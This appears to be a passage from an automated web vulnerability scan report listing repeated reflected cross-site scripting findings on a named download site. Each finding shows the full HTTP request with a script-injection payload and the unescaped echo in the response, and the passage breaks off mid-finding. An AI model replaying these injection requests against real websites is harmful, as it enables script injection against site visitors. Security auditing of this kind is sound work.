HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:52:05 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:02:16 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A20%3A%22highspeed-connection%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A20%3A%22highspeed+connection%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 32113
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-highspeed-connection-downloads.htmlf6e64"><script>alert(1)</script>c521abd2a7a" /> ...[SNIP]...
4.1536. http://www.x64bitdownload.com/64-bit-highspeed-connection-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-highspeed-connection-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 79657"><script>alert(1)</script>383139ca774 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-highspeed-connection-downloads.html?79657"><script>alert(1)</script>383139ca774=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:48:45 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:59:00 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A20%3A%22highspeed-connection%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A20%3A%22highspeed+connection%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 32116
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-highspeed-connection-downloads.html?79657"><script>alert(1)</script>383139ca774=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3b7aa"><script>alert(1)</script>41d624163b0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-image-grabber-downloads.html3b7aa"><script>alert(1)</script>41d624163b0 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:59:00 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:09:11 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A13%3A%22image-grabber%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A13%3A%22image+grabber%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 91680
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-image-grabber-downloads.html3b7aa"><script>alert(1)</script>41d624163b0" /> ...[SNIP]...
4.1538. http://www.x64bitdownload.com/64-bit-image-grabber-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-image-grabber-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b4aaf"><script>alert(1)</script>49c2f266fc0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-image-grabber-downloads.html?b4aaf"><script>alert(1)</script>49c2f266fc0=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:55:03 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:05:21 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A13%3A%22image-grabber%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A13%3A%22image+grabber%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 91683
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-image-grabber-downloads.html?b4aaf"><script>alert(1)</script>49c2f266fc0=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 25a03"><script>alert(1)</script>f40fb3cd2d3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-images-downloads.html25a03"><script>alert(1)</script>f40fb3cd2d3 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:46:24 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:56:31 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22images%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22images%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 91725
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-images-downloads.html25a03"><script>alert(1)</script>f40fb3cd2d3" /> ...[SNIP]...
4.1540. http://www.x64bitdownload.com/64-bit-images-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-images-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8785c"><script>alert(1)</script>d2427e65c3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-images-downloads.html?8785c"><script>alert(1)</script>d2427e65c3=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:43:01 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:53:06 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22images%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22images%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 91727
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-images-downloads.html?8785c"><script>alert(1)</script>d2427e65c3=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a6ae4"><script>alert(1)</script>dfb91f562dc was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-internet-c-44-newsgroup-clients-downloads.htmla6ae4"><script>alert(1)</script>dfb91f562dc HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:40:32 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:50:41 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A8%3A%22internet%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A8%3A%22internet%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 39508
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-internet-c-44-newsgroup-clients-downloads.htmla6ae4"><script>alert(1)</script>dfb91f562dc" /> ...[SNIP]...
4.1542. http://www.x64bitdownload.com/64-bit-internet-c-44-newsgroup-clients-downloads.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 16d45"><script>alert(1)</script>8719bbde82f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-internet-c-44-newsgroup-clients-downloads.html?16d45"><script>alert(1)</script>8719bbde82f=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:37:27 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:47:32 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A8%3A%22internet%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A8%3A%22internet%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 39511
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-internet-c-44-newsgroup-clients-downloads.html?16d45"><script>alert(1)</script>8719bbde82f=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ab88e"><script>alert(1)</script>e25a069793d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-internet-downloads.htmlab88e"><script>alert(1)</script>e25a069793d HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:51:01 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:01:30 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A8%3A%22internet%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A8%3A%22internet%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 93945
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-internet-downloads.htmlab88e"><script>alert(1)</script>e25a069793d" /> ...[SNIP]...
4.1544. http://www.x64bitdownload.com/64-bit-internet-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-internet-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1c18b"><script>alert(1)</script>4608bc7414f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-internet-downloads.html?1c18b"><script>alert(1)</script>4608bc7414f=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:48:13 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:58:13 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A8%3A%22internet%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A8%3A%22internet%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 93948
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-internet-downloads.html?1c18b"><script>alert(1)</script>4608bc7414f=1" /> ...[SNIP]...
4.1545. http://www.x64bitdownload.com/64-bit-kill-file-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-kill-file-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 955cd"><script>alert(1)</script>a4826d7de3e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-kill-file-downloads.html?955cd"><script>alert(1)</script>a4826d7de3e=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:58:34 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:09:07 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A9%3A%22kill-file%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A9%3A%22kill+file%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 93550
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-kill-file-downloads.html?955cd"><script>alert(1)</script>a4826d7de3e=1" /> ...[SNIP]...
4.1546. http://www.x64bitdownload.com/64-bit-killfile-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-killfile-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a2a32"><script>alert(1)</script>3d9f059b861 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-killfile-downloads.html?a2a32"><script>alert(1)</script>3d9f059b861=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:59:49 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:09:50 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A8%3A%22killfile%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A8%3A%22killfile%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 28434
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-killfile-downloads.html?a2a32"><script>alert(1)</script>3d9f059b861=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6a24e"><script>alert(1)</script>93d52a361a4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-mp3-downloads.html6a24e"><script>alert(1)</script>93d52a361a4 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:45:13 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:55:21 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A3%3A%22mp3%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A3%3A%22mp3%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 95008
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-mp3-downloads.html6a24e"><script>alert(1)</script>93d52a361a4" /> ...[SNIP]...
4.1548. http://www.x64bitdownload.com/64-bit-mp3-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-mp3-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d1733"><script>alert(1)</script>a1ee4a1cc7d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-mp3-downloads.html?d1733"><script>alert(1)</script>a1ee4a1cc7d=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:41:20 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:51:49 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A3%3A%22mp3%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A3%3A%22mp3%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 95011
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-mp3-downloads.html?d1733"><script>alert(1)</script>a1ee4a1cc7d=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d6969"><script>alert(1)</script>002478f819e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-multimedia-downloads.htmld6969"><script>alert(1)</script>002478f819e HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:45:21 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:55:30 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22multimedia%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22multimedia%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 92581
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-multimedia-downloads.htmld6969"><script>alert(1)</script>002478f819e" /> ...[SNIP]...
4.1550. http://www.x64bitdownload.com/64-bit-multimedia-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-multimedia-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4b14b"><script>alert(1)</script>9323ad41c03 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-multimedia-downloads.html?4b14b"><script>alert(1)</script>9323ad41c03=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:42:07 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:52:30 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22multimedia%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22multimedia%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 92584
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-multimedia-downloads.html?4b14b"><script>alert(1)</script>9323ad41c03=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4fada"><script>alert(1)</script>70bed0cb402 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-multipart-downloads.html4fada"><script>alert(1)</script>70bed0cb402 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
